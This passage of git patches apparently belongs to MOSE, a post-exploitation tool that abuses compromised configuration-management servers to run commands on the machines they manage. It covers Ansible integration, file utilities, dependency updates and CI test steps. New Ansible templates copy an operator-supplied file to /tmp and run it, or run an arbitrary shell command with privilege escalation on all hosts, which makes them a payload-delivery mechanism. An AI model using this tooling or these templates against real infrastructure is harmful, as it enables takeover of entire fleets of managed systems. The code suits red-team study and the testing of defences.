of the manifest (%v.bak.mose) already exists.\n", manifestLoc) @@ -177,7 +177,7 @@ func getPuppetCodeLoc(manifestLoc string) string { func generateModule(moduleManifest string, cmd string) bool { puppetCommand := command{ ClassName: moduleName, - CmdName: "cmd", + CmdName: moduleName, Cmd: cmd, FileName: uploadFileName, FilePath: uploadFilePath, @@ -232,7 +232,7 @@ func createModule(manifestLoc string, moduleName string, cmd string) { moseutils.CreateFolders([]string{moduleFiles}) fmt.Printf("Copying %s to module location %s\n", uploadFileName, moduleFiles) - moseutils.CpFile(uploadFileName, filepath.Join(moduleFiles, filepath.Base(uploadFileName))) + _ = moseutils.CpFile(uploadFileName, filepath.Join(moduleFiles, filepath.Base(uploadFileName))) if err := os.Chmod(filepath.Join(moduleFiles, filepath.Base(uploadFileName)), 0644); err != nil { log.Fatal(err) } @@ -338,7 +338,7 @@ func doCleanup(manifestLocs []string) { } } if ans || ans2 { - moseutils.CpFile(path, manifestLoc) + _ = moseutils.CpFile(path, manifestLoc) os.Remove(path) } } diff --git a/go.mod b/go.mod index 2fc7b6c..d826c06 100644 --- a/go.mod +++ b/go.mod @@ -10,8 +10,10 @@ require ( github.com/docker/go-units v0.4.0 // indirect github.com/dsnet/compress v0.0.1 // indirect github.com/fatih/color v1.9.0 - github.com/gobuffalo/envy v1.8.1 // indirect + github.com/ghodss/yaml v1.0.0 + github.com/gobuffalo/envy v1.9.0 // indirect github.com/gobuffalo/logger v1.0.3 // indirect + github.com/gobuffalo/packd v1.0.0 // indirect github.com/gobuffalo/packr/v2 v2.7.1 github.com/gogo/protobuf v1.2.1 // indirect github.com/golang/snappy v0.0.1 // indirect @@ -22,10 +24,10 @@ require ( github.com/opencontainers/go-digest v1.0.0-rc1 // indirect github.com/opencontainers/image-spec v1.0.1 // indirect github.com/pierrec/lz4 v2.0.5+incompatible // indirect - github.com/rogpeppe/go-internal v1.5.1 // indirect + github.com/rogpeppe/go-internal v1.5.2 // indirect github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 // indirect - golang.org/x/crypto v0.0.0-20200109152110-61a87790db17 // indirect - golang.org/x/sys v0.0.0-20200107162124-548cf772de50 // indirect + golang.org/x/crypto v0.0.0-20200204104054-c9f3fb736b72 // indirect + golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5 // indirect golang.org/x/time v0.0.0-20190308202827-9d24e82272b4 // indirect google.golang.org/grpc v1.21.1 // indirect gopkg.in/src-d/go-git.v4 v4.12.0 // indirect diff --git a/go.sum b/go.sum index 27b0e85..470c1cf 100644 --- a/go.sum +++ b/go.sum @@ -39,20 +39,24 @@ github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ= github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= +github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= +github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/gliderlabs/ssh v0.1.3 h1:cBU46h1lYQk5f2Z+jZbewFKy+1zzE2aUX/ilcPDAm9M= github.com/gliderlabs/ssh v0.1.3/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= github.com/gobuffalo/envy v1.7.0 h1:GlXgaiBkmrYMHco6t4j7SacKO4XUjvh5pwXh0f4uxXU= github.com/gobuffalo/envy v1.7.0/go.mod h1:n7DRkBerg/aorDM8kbduw5dN3oXGswK5liaSCx4T5NI= github.com/gobuffalo/envy v1.7.1 h1:OQl5ys5MBea7OGCdvPbBJWRgnhC/fGona6QKfvFeau8= github.com/gobuffalo/envy v1.7.1/go.mod h1:FurDp9+EDPE4aIUS3ZLyD+7/9fpx7YRt/ukY6jIHf0w= -github.com/gobuffalo/envy v1.8.1 h1:RUr68liRvs0TS1D5qdW3mQv2SjAsu1QWMCx1tG4kDjs= -github.com/gobuffalo/envy v1.8.1/go.mod h1:FurDp9+EDPE4aIUS3ZLyD+7/9fpx7YRt/ukY6jIHf0w= +github.com/gobuffalo/envy v1.9.0 h1:eZR0DuEgVLfeIb1zIKt3bT4YovIMf9O9LXQeCZLXpqE= +github.com/gobuffalo/envy v1.9.0/go.mod h1:FurDp9+EDPE4aIUS3ZLyD+7/9fpx7YRt/ukY6jIHf0w= github.com/gobuffalo/logger v1.0.1 h1:ZEgyRGgAm4ZAhAO45YXMs5Fp+bzGLESFewzAVBMKuTg= github.com/gobuffalo/logger v1.0.1/go.mod h1:2zbswyIUa45I+c+FLXuWl9zSWEiVuthsk8ze5s8JvPs= github.com/gobuffalo/logger v1.0.3 h1:YaXOTHNPCvkqqA7w05A4v0k2tCdpr+sgFlgINbQ6gqc= github.com/gobuffalo/logger v1.0.3/go.mod h1:SoeejUwldiS7ZsyCBphOGURmWdwUFXs0J7TCjEhjKxM= github.com/gobuffalo/packd v0.3.0 h1:eMwymTkA1uXsqxS0Tpoop3Lc0u3kTfiMBE6nKtQU4g4= github.com/gobuffalo/packd v0.3.0/go.mod h1:zC7QkmNkYVGKPw4tHpBQ+ml7W/3tIebgeo1b36chA3Q= +github.com/gobuffalo/packd v1.0.0 h1:6ERZvJHfe24rfFmA9OaoKBdC7+c9sydrytMg8SdFGBM= +github.com/gobuffalo/packd v1.0.0/go.mod h1:6VTc4htmJRFB7u1m/4LeMTWjFoYrUiBkU9Fdec9hrhI= github.com/gobuffalo/packr/v2 v2.7.1 h1:n3CIW5T17T8v4GGK5sWXLVWJhCz7b5aNLSxW6gYim4o= github.com/gobuffalo/packr/v2 v2.7.1/go.mod h1:qYEvAazPaVxy7Y7KR0W8qYEE+RymX74kETFqjFoFlOc= github.com/gogo/protobuf v1.2.1 h1:/s5zKNz0uPFCZ5hddgPdo2TK2TVrUNMn0OOX8/aZMTE= @@ -124,8 +128,8 @@ github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFR github.com/rogpeppe/go-internal v1.3.2/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.4.0 h1:LUa41nrWTQNGhzdsZ5lTnkwbNjj6rXTdazA1cSdjkOY= github.com/rogpeppe/go-internal v1.4.0/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= -github.com/rogpeppe/go-internal v1.5.1 h1:asQ0uD7BN9RU5Im41SEEZTwCi/zAXdMOLS3npYaos2g= -github.com/rogpeppe/go-internal v1.5.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= +github.com/rogpeppe/go-internal v1.5.2 h1:qLvObTrvO/XRCqmkKxUlOBc48bI3efyDuAZe25QiF0w= +github.com/rogpeppe/go-internal v1.5.2/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g= github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ= github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= @@ -168,8 +172,8 @@ golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4 h1:ydJNl0ENAG67pFbB+9tfhi golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191122220453-ac88ee75c92c h1:/nJuwDLoL/zrqY6gf57vxC+Pi+pZ8bfhpPkicO5H7W4= golang.org/x/crypto v0.0.0-20191122220453-ac88ee75c92c/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20200109152110-61a87790db17 h1:nVJ3guKA9qdkEQ3TUdXI9QSINo2CUPM/cySEvw2w8I0= -golang.org/x/crypto v0.0.0-20200109152110-61a87790db17/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200204104054-c9f3fb736b72 h1:+ELyKg6m8UBf0nPFSqD0mi7zUfwPyXo23HNjMnXPz7w= +golang.org/x/crypto v0.0.0-20200204104054-c9f3fb736b72/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= @@ -197,8 +201,8 @@ golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190515120540-06a5c4944438 h1:khxRGsvPk4n2y8I/mLLjp7e5dMTJmH75wvqS6nMwUtY= golang.org/x/sys v0.0.0-20190515120540-06a5c4944438/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200107162124-548cf772de50 h1:YvQ10rzcqWXLlJZ3XCUoO25savxmscf4+SC+ZqiCHhA= -golang.org/x/sys v0.0.0-20200107162124-548cf772de50/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5 h1:LfCXLvNmTYH9kEmVgqbnsWfruoXZIrh4YBgqVHtDvw0= +golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4 h1:SvFZT6jyqRaOeXpc5h/JSfZenJ2O330aBsf7JfSUXmQ= diff --git a/main.go b/main.go index f6d8281..44ad8c3 100644 --- a/main.go +++ b/main.go @@ -27,6 +27,8 @@ var ( ) func generateParams() { + var origFileUpload string + paramLoc := filepath.Join("templates", UserInput.CMTarget) box := packr.New("Params", "|") box.ResolutionDir = paramLoc @@ -49,7 +51,11 @@ func generateParams() { if err != nil { log.Fatalln(err) } - + // Temporarily set UserInput.FileUpload to the name of the file uploaded to avoid pathing issues in the payload + if UserInput.FileUpload != "" { + origFileUpload = UserInput.FileUpload + UserInput.FileUpload = filepath.Base(UserInput.FileUpload) + } err = t.Execute(f, UserInput) f.Close() @@ -78,13 +84,18 @@ func generateParams() { if !UserInput.ServeSSL && UserInput.WebSrvPort == 443 { UserInput.WebSrvPort = 8090 } + + // Put it back + if UserInput.FileUpload != "" { + UserInput.FileUpload = origFileUpload + } } func generatePayload() { if UserInput.Cmd != "" { moseutils.Msg("Generating %s payload to run %s on a %s system, please wait...", UserInput.CMTarget, UserInput.Cmd, strings.ToLower(UserInput.OSTarget)) } else { - moseutils.Msg("Generating %s payload to run %s on a %s system, please wait...", UserInput.CMTarget, UserInput.FileUpload, strings.ToLower(UserInput.OSTarget)) + moseutils.Msg("Generating %s payload to run %s on a %s system, please wait...", UserInput.CMTarget, filepath.Base(UserInput.FileUpload), strings.ToLower(UserInput.OSTarget)) } prevDir := utils.Gwd() @@ -100,9 +111,12 @@ func generatePayload() { } } - if UserInput.FileUpload != "" && UserInput.FilePath == "" { - log.Printf("File Upload specified, copying file to payloads directory.") - moseutils.CpFile(UserInput.FileUpload, filepath.Join("../../../payloads", filepath.Base(UserInput.FileUpload))) + // If FileUpload is specified, we need to copy it into place + if UserInput.FileUpload != "" { + err := moseutils.CpFile(UserInput.FileUpload, filepath.Join("../../../payloads", filepath.Base(UserInput.FileUpload))) + if err != nil { + log.Fatalf("Failed to copy input file upload (%v): %v, exiting", UserInput.FileUpload, err) + } } if UserInput.FilePath != "" { @@ -114,7 +128,7 @@ func generatePayload() { if UserInput.Debug { log.Printf("Current directory: %s", utils.Gwd()) - log.Printf("env GOOS=" + strings.ToLower(UserInput.OSTarget) + " GOARCH=amd64" + " go" + " build" + " -o " + payload) + log.Printf("Command to generate the payload: env GOOS=" + strings.ToLower(UserInput.OSTarget) + " GOARCH=amd64" + " go" + " build" + " -o " + payload) } if err != nil { log.Fatalf("Error running the command to generate the target payload: %v", err) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 9035b79..72ec41f 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -6,6 +6,7 @@ package agent // Agent holds the parameters that can be used by a payload type Agent struct { + AnsibleBackupLoc string Cmd string Debug bool LocalIP string diff --git a/pkg/moseutils/fileutils.go b/pkg/moseutils/fileutils.go index ce2aab0..3360b7a 100644 --- a/pkg/moseutils/fileutils.go +++ b/pkg/moseutils/fileutils.go @@ -90,6 +90,25 @@ func File2lines(filePath string) ([]string, error) { return LinesFromReader(f) } +// ReadBytesFromFile returns all data from the input file (filePath) as a byte array +func ReadBytesFromFile(filePath string) ([]byte, error) { + b, err := ioutil.ReadFile(filePath) + if err != nil { + return nil, err + } + return b, nil +} + +// WriteBytesToFile writes a byte array to the file specified with filePath with the permissions specified in perm +// An error will be returned if there is one +func WriteBytesToFile(filePath string, data []byte, perm os.FileMode) error { + err := ioutil.WriteFile(filePath, data, 0644) + if err != nil { + return err + } + return nil +} + // InsertStringToFile with insert a string (str) into the n-th line (index) of a specified file (path) // Resource: https://siongui.github.io/2017/01/30/go-insert-line-or-string-to-file/ func InsertStringToFile(path, str string, index int) error { diff --git a/pkg/moseutils/settings.go b/pkg/moseutils/settings.go index 45928d6..21fe090 100644 --- a/pkg/moseutils/settings.go +++ b/pkg/moseutils/settings.go @@ -12,6 +12,7 @@ import ( // Settings represents the configuration information found in settings.json type Settings struct { + AnsibleBackupLoc string ChefClientKey string ChefNodeName string ChefValidationKey string diff --git a/pkg/moseutils/sysutils.go b/pkg/moseutils/sysutils.go index 5eb5df6..cc5d81f 100644 --- a/pkg/moseutils/sysutils.go +++ b/pkg/moseutils/sysutils.go @@ -8,23 +8,27 @@ import ( "io/ioutil" "log" "os" + "os/user" + "path/filepath" "regexp" "strings" ) // CpFile is used to copy a file from a source (src) to a destination (dst) -func CpFile(src string, dst string) { +// If there is a failure to do so, an error is returned +func CpFile(src string, dst string) error { input, err := ioutil.ReadFile(src) if err != nil { - log.Println(err) - return + log.Printf("Error reading from %s: %v", src, err) + return err } err = ioutil.WriteFile(dst, input, 0644) if err != nil { - log.Printf("Error creating %v: %v", dst, err) - return + log.Printf("Error writing to %s: %v", dst, err) + return err } + return nil } // Cd changes the directory to the one specified with dir @@ -35,16 +39,17 @@ func Cd(dir string) { } } -// FindFiles finds based on their file extension in specified directories -// locations: slice with locations to search for files -// extensionList: slice with file extensions to check for -// fileNames: slice with filenames to search for +// FindFiles finds files based on their extension in specified directories +// locations - where to search for files +// extensionList - file extensions to search for +// fileNames - filenames to search for +// dirNames - directory names to search for (optional) // Returns files found that meet the input criteria -func FindFiles(locations []string, extensionList []string, fileNames []string, dirNames []string, debug bool) ([]string, []string) { +func FindFiles(locations []string, extensionList []string, fileNames []string, dirNames []string) ([]string, []string) { var foundFiles = make(map[string]int) var foundDirs = make(map[string]int) fileList, dirList := GetFileAndDirList(locations) - // if filenames are supplied, then iterate through them + // iterate through filenames if they are provided for _, fileContains := range fileNames { for _, file := range fileList { if strings.Contains(file, fileContains) { @@ -54,7 +59,7 @@ func FindFiles(locations []string, extensionList []string, fileNames []string, d } } } - // if extensionList is supplied iterated through them + // iterate through the extensionList (if it's provided)s for _, ext := range extensionList { for _, file := range fileList { if strings.HasSuffix(file, ext) { @@ -64,7 +69,7 @@ func FindFiles(locations []string, extensionList []string, fileNames []string, d } } } - // If dirNames are supplied, iterate through them + // iterate through dirNames (if they're provided) for _, reg := range dirNames { for _, dir := range dirList { m, err := regexp.MatchString(reg, dir) @@ -80,13 +85,11 @@ func FindFiles(locations []string, extensionList []string, fileNames []string, d } } - if debug { - if len(foundDirs) == 0 && len(dirNames) > 0 { - log.Printf("No dirs found with these names: %v", dirNames) - } - if len(foundFiles) == 0 && len(fileNames) > 0 { - log.Printf("Unable to find any files with these names: %v", fileNames) - } + if len(foundDirs) == 0 && len(dirNames) > 0 { + log.Printf("No dirs found with these names: %v", dirNames) + } + if len(foundFiles) == 0 && len(fileNames) > 0 { + log.Printf("Unable to find any files with these names: %v", fileNames) } foundFileKeys := make([]string, 0, len(foundFiles)) @@ -107,7 +110,7 @@ func FindFiles(locations []string, extensionList []string, fileNames []string, d func FindFile(fileName string, dirs []string) (bool, string) { fileList, _ := GetFileAndDirList(dirs) for _, file := range fileList { - fileReg := `\b` + fileName + `$\b` + fileReg := `/` + fileName + `$` m, err := regexp.MatchString(fileReg, file) if err != nil { log.Fatalf("We had an issue locating the %v file: %v\n", fileReg, err) @@ -119,3 +122,27 @@ func FindFile(fileName string, dirs []string) (bool, string) { } return false, "" } + +// CreateFilePath will create a file specified +// Check prefixes of path that normal filepath package won't expand inherantly +// if it matches any prefix $HOME, ~/, / then we need to treat them seperately +func CreateFilePath(text string, baseDir string) (string, error) { + var path string + _, err := user.Current() + if err != nil { + return "", err + } + if filepath.HasPrefix(text, "~/") || filepath.HasPrefix(text, "$HOME") { + path = filepath.Base(text) + _, path = FindFile(path, []string{"/root", "/home"}) + } else if filepath.HasPrefix(text, "/") { + path = text + } else { + path, err = filepath.Abs(filepath.Join(baseDir, text)) + if err != nil { + return "", err + } + } + + return path, nil +} diff --git a/pkg/moseutils/ui.go b/pkg/moseutils/ui.go index b031c5d..b29f85f 100644 --- a/pkg/moseutils/ui.go +++ b/pkg/moseutils/ui.go @@ -9,6 +9,7 @@ import ( "errors" "fmt" "os" + "strconv" "strings" ) @@ -37,3 +38,39 @@ func AskUserQuestion(question string, osTarget string) (bool, error) { } } } + +func IndexedUserQuestion(question string, osTarget string, validIndices map[int]bool) (map[int]bool, error) { + reader := bufio.NewReader(os.Stdin) + for { + var err error + fmt.Println(question + "(Provide answer as comma seperated)") + text, _ := reader.ReadString('\n') + if strings.Contains(text, "q") { + return nil, errors.New("Quit") + } else { + if osTarget == "windows" { + text = text[:len(text)-2] + } else { + text = text[:len(text)-1] + } + strnums := strings.Split(text, ",") + nums := make(map[int]bool) + for _, n := range strnums { + n = strings.TrimSpace(n) + num, e := strconv.Atoi(n) + if e != nil { + fmt.Println("Number provided is not an integer, ...") + err = e + } else if !validIndices[num] { + fmt.Printf("Number is not valid see %v", validIndices) + err = errors.New("Number is not within index") + } else { + nums[num] = true + } + } + if err == nil && len(nums) > 0 { + return nums, nil + } + } + } +} diff --git a/pkg/moseutils/userinput.go b/pkg/moseutils/userinput.go index 938e521..f99dd3e 100644 --- a/pkg/moseutils/userinput.go +++ b/pkg/moseutils/userinput.go @@ -34,6 +34,7 @@ type UserInput struct { TimeToServe int // Settings + AnsibleBackupLoc string ChefClientKey string ChefNodeName string ChefValidationKey string @@ -84,7 +85,7 @@ func processInput() { Cli.Rhost = JSONSettings.RemoteHost } if Cli.FileUpload != "" { - Cli.FileUpload = filepath.Base(Cli.FileUpload) + Cli.FileUpload, _ = filepath.Abs(Cli.FileUpload) } if Cli.Debug { log.Print("JSON configuration loaded with the following values") @@ -100,6 +101,7 @@ func processInput() { func GetUserInput() UserInput { processInput() var UserInput = UserInput{ + AnsibleBackupLoc: JSONSettings.AnsibleBackupLoc, ChefClientKey: JSONSettings.ChefClientKey, ChefNodeName: JSONSettings.ChefNodeName, ChefValidationKey: JSONSettings.ChefValidationKey, diff --git a/settings.json b/settings.json index 3afe4da..db97f8e 100644 --- a/settings.json +++ b/settings.json @@ -1,4 +1,5 @@ { + "ansibleBackupLoc" : "", "chefClientKey" : "keys/admin.pem", "chefNodeName": "admin", "chefValidationKey" : "keys/my_org-validator.pem", diff --git a/templates/ansible/ansibleFileUploadPlaybook.tmpl b/templates/ansible/ansibleFileUploadPlaybook.tmpl new file mode 100644 index 0000000..ff518f0 --- /dev/null +++ b/templates/ansible/ansibleFileUploadPlaybook.tmpl @@ -0,0 +1,8 @@ +--- +- name: {{.CmdName}} + copy: + src: "{{`{{ role_path }}`}}/files/{{.FileName}}" + dest: "/tmp/{{.FileName}}" + mode: 0744 +- name: Run {{.CmdName}} + shell: "/tmp/{{.FileName}}" \ No newline at end of file diff --git a/templates/ansible/ansiblePlaybook.tmpl b/templates/ansible/ansiblePlaybook.tmpl new file mode 100644 index 0000000..a72dcb7 --- /dev/null +++ b/templates/ansible/ansiblePlaybook.tmpl @@ -0,0 +1,4 @@ +--- +- name: {{.CmdName}} + become: true + shell: {{.Cmd}} diff --git a/templates/ansible/params.tmpl b/templates/ansible/params.tmpl new file mode 100644 index 0000000..b614ae6 --- /dev/null +++ b/templates/ansible/params.tmpl @@ -0,0 +1,20 @@ +package main + +import ( + "github.com/master-of-servers/mose/pkg/agent" +) + +func CreateAgent() agent.Agent { + agent := agent.Agent{ + AnsibleBackupLoc: "{{.AnsibleBackupLoc}}", + CleanupFile: "{{.CleanupFile}}", + Cmd: "{{.Cmd}}", + Debug: {{.Debug}}, + FileName: "{{.FileUpload}}", + LocalIP: "{{.LocalIP}}", + OsTarget: "{{.OSTarget}}", + PayloadName: "{{.PayloadName}}", + RemoteUploadFilePath: "{{.RemoteUploadFilePath}}", + } + return agent +} \ No newline at end of file diff --git a/templates/ansible/site.tmpl b/templates/ansible/site.tmpl new file mode 100644 index 0000000..2dd9516 --- /dev/null +++ b/templates/ansible/site.tmpl @@ -0,0 +1,6 @@ +--- +- name: {{.CmdName}} + hosts: all + become: true + roles: + - {{.CmdName}} \ No newline at end of file From 851f4f15ad15fddcc013c529368353e8fdde69a3 Mon Sep 17 00:00:00 2001 From: Al Straumann Date: Sat, 15 Feb 2020 23:49:10 -0700 Subject: [PATCH 6/6] Continue Ansible Integration and Various Fixes (#6) - Closes #2 - Add backup functionality for Ansible - Populate ansible struct with potential values in a site.yml file - Add the ability to archive file upload payloads in formats other than tar - Default to tar for archives - Linting - Remove old TODOs - Fix parameters used by moseutils.FindFiles in chef and puppet - Allow generic interface for ansible site.yml so that `-role: rolename` and `-rolename` are handled correctly - Change Roles to interfaces. Add additional parsing for pretty-printing Roles - Make the parameter for specifying an operating system lowercase - Misc formatting fixes - Fix formatting of the index user question output - Ensure that a user has to specify either a command or a file to upload - Fix cleanup file creation. Make sure tracking is enabled at all steps. Add uid, gid, mtime, ctime, atime file information retrieval. Add editing of metadata to ansible - Fix file upload and update the docs - Remove old broken unit test; add new; fix unit testing in the pipeline --- Makefile | 28 +++--- README.md | 6 +- azure-pipelines.yml | 86 ++++++++++++---- cmd/mose/ansible/main.go | 141 ++++++++++++++++++++------- cmd/mose/chef/main.go | 2 +- cmd/mose/puppet/export_test.go | 8 -- cmd/mose/puppet/main.go | 11 ++- cmd/mose/puppet/main_test.go | 25 ----- go.mod | 11 +-- go.sum | 38 ++++++++ main.go | 34 ++++++- pkg/moseutils/cli.go | 16 ++- pkg/moseutils/fileutils.go | 24 +++-- pkg/moseutils/sysutils.go | 33 ++++++- pkg/moseutils/sysutils_test.go | 36 +++++++ pkg/moseutils/ui.go | 54 +++++----- pkg/moseutils/userinput.go | 10 ++ scripts/test_ansible_cmd.exp | 10 ++ scripts/test_ansible_file_upload.exp | 13 +++ templates/salt/params.tmpl | 2 +- 20 files changed, 439 insertions(+), 149 deletions(-) delete mode 100644 cmd/mose/puppet/export_test.go delete mode 100644 cmd/mose/puppet/main_test.go create mode 100644 pkg/moseutils/sysutils_test.go create mode 100755 scripts/test_ansible_cmd.exp create mode 100755 scripts/test_ansible_file_upload.exp diff --git a/Makefile b/Makefile index 9f45e09..27fb7f3 100644 --- a/Makefile +++ b/Makefile @@ -16,19 +16,25 @@ fmt: ## gofmt and goimports all go files find . -name '*.go' -not -wholename './vendor/*' | while read -r file; do gofmt -w -s "$$file"; goimports -w "$$file"; done lint: ## Run all the linters - gometalinter --vendor --disable-all \ + golangci-lint run \ + --no-config \ + --issues-exit-code=0 \ + --timeout=30m \ + --disable-all \ --enable=deadcode \ - --enable=ineffassign \ - --enable=staticcheck \ - --enable=gofmt \ - --enable=goimports \ - --enable=dupl \ - --enable=misspell \ + --enable=gocyclo \ + --enable=golint \ + --enable=varcheck \ + --enable=structcheck \ + --enable=maligned \ --enable=errcheck \ - --enable=vet \ - --enable=vetshadow \ - --deadline=10m \ - ./... + --enable=dupl \ + --enable=ineffassign \ + --enable=interfacer \ + --enable=unconvert \ + --enable=goconst \ + --enable=gosec \ + --enable=megacheck markdownfmt -w README.md test: diff --git a/README.md b/README.md index b7d9c65..665aa56 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ Under the terms of Contract DE-NA0003525 with NTESS, the U.S. Government retains certain rights in this software -MOSE is a post exploitation tool that enables security professionals with little or no experience with configuration management (CM) technologies to leverage them to compromise environments. CM tools, such as [Puppet](https://puppet.com/) and [Chef](https://www.chef.io/), are used to provision systems in a uniform manner based on their function in a network. Upon successfully compromising a CM server, an attacker can use these tools to run commands on any and all systems that are in the CM server’s inventory. However, if the attacker does not have experience with these types of tools, there can be a very time-consuming learning curve. MOSE allows an operator to specify what they want to run without having to get bogged down in the details of how to write code specific to a proprietary CM tool. It also automatically incorporates the desired commands into existing code on the system, removing that burden from the user. MOSE allows the operator to choose which assets they want to target within the scope of the server’s inventory, whether this is a subset of clients or all clients. This is useful for targeting specific assets such as web servers, or choosing to take over all of the systems in the CM server’s inventory. +MOSE is a post exploitation tool that enables security professionals with little or no experience with configuration management (CM) technologies to leverage them to compromise environments. CM tools, such as [Puppet](https://puppet.com/), [Chef](https://www.chef.io/) and [Ansible](https://www.ansible.com/), are used to provision systems in a uniform manner based on their function in a network. Upon successfully compromising a CM server, an attacker can use these tools to run commands on any and all systems that are in the CM server’s inventory. However, if the attacker does not have experience with these types of tools, there can be a very time-consuming learning curve. MOSE allows an operator to specify what they want to run without having to get bogged down in the details of how to write code specific to a proprietary CM tool. It also automatically incorporates the desired commands into existing code on the system, removing that burden from the user. MOSE allows the operator to choose which assets they want to target within the scope of the server’s inventory, whether this is a subset of clients or all clients. This is useful for targeting specific assets such as web servers or choosing to take over all of the systems in the CM server’s inventory. ## MOSE + Puppet ![](docs/images/mose_and_puppet.gif) @@ -69,7 +69,7 @@ Usage of ./mose [options]: ### TLS Certificates **You should generate and use a TLS certificate signed by a trusted Certificate Authority** -A self-signed certificate and key are provided for you, although you really shouldn't use them. This key and certificate are widely distributed, so you can not expect privacy if you do choose to use them. They can be found in the `data` directory. +A self-signed certificate and key are provided for you, although you really shouldn't use them. This key and certificate are widely distributed, so you can not expect privacy if you do choose to use them. They can be found in the `data` directory. ### Examples You can find some examples of how to run MOSE in [EXAMPLES.md](EXAMPLES.md). @@ -78,6 +78,8 @@ You can find some examples of how to run MOSE in [EXAMPLES.md](EXAMPLES.md). Test labs that can be run with MOSE are at these locations: - https://github.com/master-of-servers/puppet-test-lab - https://github.com/master-of-servers/chef-test-lab + - https://github.com/master-of-servers/ansible-test-lab + - https://github.com/master-of-servers/salt-test-lab ### Credits The following resources were used to help motivate the creation of this project: diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 63de753..f226097 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -61,7 +61,7 @@ steps: # Enroll agent with puppet master docker exec -i basic-puppetagent /bin/bash -c "puppet agent -t --waitforcert=120" docker ps - displayName: 'Build and configure puppet test environment' + displayName: 'Build and configure the puppet test environment' workingDirectory: "$(modulePath)" - script: | @@ -75,29 +75,29 @@ steps: # Ensure that MOSE is working properly by running cat on the file it created docker exec -i basic-puppetagent /bin/bash -c "cat /tmp/test.txt" - displayName: 'Run MOSE generated payload on puppet test environment' + displayName: 'Run MOSE generated payload on the puppet test environment' workingDirectory: "$(modulePath)" - script: | echo 'echo testing file upload > /tmp/file_upload_test.txt' > payloads/notevil.sh export GO111MODULE=on - ./mose -fu payloads/notevil.sh -t puppet -f ${PWD}/payloads/puppet-linux + ./mose -fu payloads/notevil.sh -t puppet -f payloads/puppet-linux displayName: 'Generate a puppet payload to test file upload' workingDirectory: "$(modulePath)" - script: | # Copy MOSE payload to puppet master - docker cp $(modulePath)/payloads/files.tar basic-puppetmaster:/files.tar + docker cp $(modulePath)/payloads/puppet-linux.tar basic-puppetmaster:/puppet-linux.tar # Run MOSE against the puppet master - docker exec -i basic-puppetmaster /bin/bash -c "tar -xvf files.tar" + docker exec -i basic-puppetmaster /bin/bash -c "tar -xvf puppet-linux.tar" docker exec -i basic-puppetmaster 